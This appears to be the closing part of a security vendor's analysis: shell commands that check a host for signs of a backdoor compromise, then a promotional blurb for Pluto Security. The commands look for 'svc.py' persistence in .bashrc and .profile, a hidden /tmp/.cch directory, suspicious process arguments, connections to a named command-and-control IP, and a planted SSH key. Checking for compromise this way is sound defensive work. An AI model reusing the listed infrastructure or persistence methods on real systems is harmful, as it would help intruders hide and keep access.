grep -c "svc.py" /root/.bashrc /root/.profile ~/.bashrc 2>/dev/null
ls -la /tmp/.cch/ 2>/dev/null
grep -a "krxXJ2PKQW" /proc/*/cmdline 2>/dev/null
ss -tnp | grep -E "212\.32\.253\.3:(443|9443|8898)" 2>/dev/null
grep "qx-5090-op" /root/.ssh/authorized_keys ~/.ssh/authorized_keys /home/xinference/.ssh/authorized_keys 2>/dev/null

This analysis is part of Pluto Security’s ongoing research into the security of the AI ecosystem. Pluto provides workspace security platforms engineered for the AI era, giving enterprise security teams continuous visibility and governance over models, personal assistants, extensions, tools, and autonomous workloads. To learn how to secure open models and AI tooling in your environment, contact us at pluto.security.